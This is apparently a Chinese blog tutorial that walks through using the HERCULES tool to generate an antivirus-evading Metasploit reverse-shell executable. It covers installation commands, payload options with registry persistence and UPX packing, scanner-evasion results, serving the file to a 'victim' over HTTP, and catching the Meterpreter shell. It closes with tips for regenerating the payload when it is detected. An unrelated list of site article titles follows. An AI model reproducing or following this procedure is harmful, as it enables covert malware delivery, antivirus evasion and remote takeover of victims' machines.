如何用HERCULES绕过杀软
HERCULES是一个由Go语言开发的可以绕过防病毒软件的可定制的有效载荷生成器,只需简单的设置,就可以生成用于Metasploit的免杀payload,经测试,可完美绕过当前主流防病毒软件查杀检测。
Let us learn how to use it !
测试环境:
kali linux 2.0 : 192.168.1.100
windows7 x64 : 192.168.1.140
测试流程:
1.下载配置go语言环境;
2.下载初始化HERCULES ;
3.生成免杀exp;
4.诱使受害者下载执行exp
5.Metasploit监听并获取权限
(一)下载配置go语言环境:
在kali linux 攻击机中安装go 语言环境。
1.下载源码包:
wget -c https://storage.googleapis.com/golang/go1.8.3.linux-amd64.tar.gz
2.解压文件至/usr/local
tar -C /usr/local -xzf go1.8.3.linux-amd64.tar.gz
3.设置环境变量(让命令go有效)
cd ~vim .profile
在文件未必追加:
export PATH=$PATH:/usr/local/go/bin
保存退出
使当前配置文件生效
. .profile
4.测试:
go version
(二)下载初始化HERCULES:
从github上下载HERCULES源文件:
git clone https://github.com/noosec/HERCULES.git
下载HERCULES相关的资源文件
wget -c https://github.com/fatih/color
初始化HERCULES
go get github.com/fatih/color
go run Setup.go
(三)生成免杀payload
1.选择生成Payload:
运行当前目录下HERCULES,选择第一个选项:
2.选择Tcp类型的 Meterpreter Payload
#WHAT IS UPX ?
UPX(Ultimate Packer for Executables)是一款免费的开源可执行封装程序,支持来自不同操作系统的多种文件格式。 UPX简单地将二进制文件压缩,在运行时将二进制打包(解压缩)本身打包到内存中。
#WHAT IS "AV EVASION SCORE" ?
AV Evasion Score是确定有效载荷反病毒绕过能力有效性的一个比例尺(1/10),1代表通过AV软件的可能性很低。
使用特殊功能并用upx打包有效载荷可减少AV Evasion Score
选择Tcp 类型的 Payload ,输入 1,回车
3.进入payload参数设置界面:
输入反弹回连的IP地址,端口号:
#Persistence:
持久性功能将运行的二进制文件添加到windows启动注册表(CurrentVersion / Run ) 以进行持续访问。
#Migration:
此函数触发一个循环,尝试迁移到远程进程,直到成功迁移为止
以下设置可根据自已需要设置,这里我选择了使用持久性功能,增加了 by pass av 相关函数功能payload 并使用了 upx 加壳,生成了文件名为creak.exe的payload反弹exe程序。
经过以上设置,回车之后,会在当前用户主目录下生成相关免杀exe程序:
对于相关程序是否免杀,我们可以通过在线av查杀网站进行测试,通过35个查杀软件扫描,全部扫描的结果为clean:
国内某杀软件 :
(四)Win7下载生成的exe
在Kali Linux 中 exe文件所在目录执行,将当前目录文件共享:
python -m SimpleHTTPServer
win7 中使用浏览器访问:http://192.168.1.100/creak.exe,下载文件到本地。
(五)Metasploit监听并获取权限
使用msf,加载以下两个模块,设置相关参数,并等待连接:
exploit/multi/handler
windows/meterpreter/reverse_tcp
在win7上运行creak.exe,msf 成功收到反弹shell。
END :
在测试过程中,当运行生成的Payload之后,杀毒软件可能会基于行为分析,将生成的payload识别为木马程序,当遇到这种情况后,只需使用HERCULES重新生成一次,就可 by pass this AV 了。
在国内,各种软件下载网站,各种破解程序多不胜数,这些软件都有一个共性,在运行的时候,建议关闭杀毒软件,亦或是建议先使用杀毒软件进行一次云查杀,再告诉用户,此软件是干净、无毒的,建立关闭杀毒软件,再运行相关程序文件,但结果可能是,你运行了一个木马程序。
- 关于consistent gets(r5笔记第12天)
- wait/notify 实现多线程交叉备份
- 01.SVN介绍与安装
- 由sqlplus中的一个小细节所做的折腾(r5笔记第11天)
- 浅析多线程的对象锁和Class锁
- 使用strace诊断奇怪的sqlplus登录问题(r5笔记第29天)
- 读书笔记 之《Thinking in Java》(对象、集合、异常)
- 深度解析dba_segments和sys.seg$中的细节差异(上) (r5笔记第27天)
- 【大牛经验】26种语言输出HelloWord
- 深度解析dba_segments和sys.seg$中的细节差异(下) (r5笔记第28天)
- Linux命令(面试+工作版)
- 纠结的paste格式问题(未解决) (r5笔记第26天)
- 由MySQL中的falcon存储引擎引申的八卦杂谈(r5笔记第23天)
- 12.观察者/状态模式
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Android根据包名停止其他应用程序的方法
- Android APP存活检测方式
- 利用Android两行代码真正杀死你的App
- android判断应用是否已经启动的实例
- 解决android studio引用远程仓库下载慢(JCenter下载慢)
- 在Android中查看当前Activity是否销毁的操作
- Android 7.0 运行时权限弹窗问题的解决
- Android加密之全盘加密详解
- Android 实现彻底退出自己APP 并杀掉所有相关的进程
- 使用Android开发接入第三方原生SDK实现微信登录
- Android打包篇:Android Studio将代码打包成jar包教程
- Android系统制作自定义签名的例子
- 抖音短视频系统开发,日期加减
- Android开发之InetAddress基础入门简介与源码实例
- Android实现通讯录功能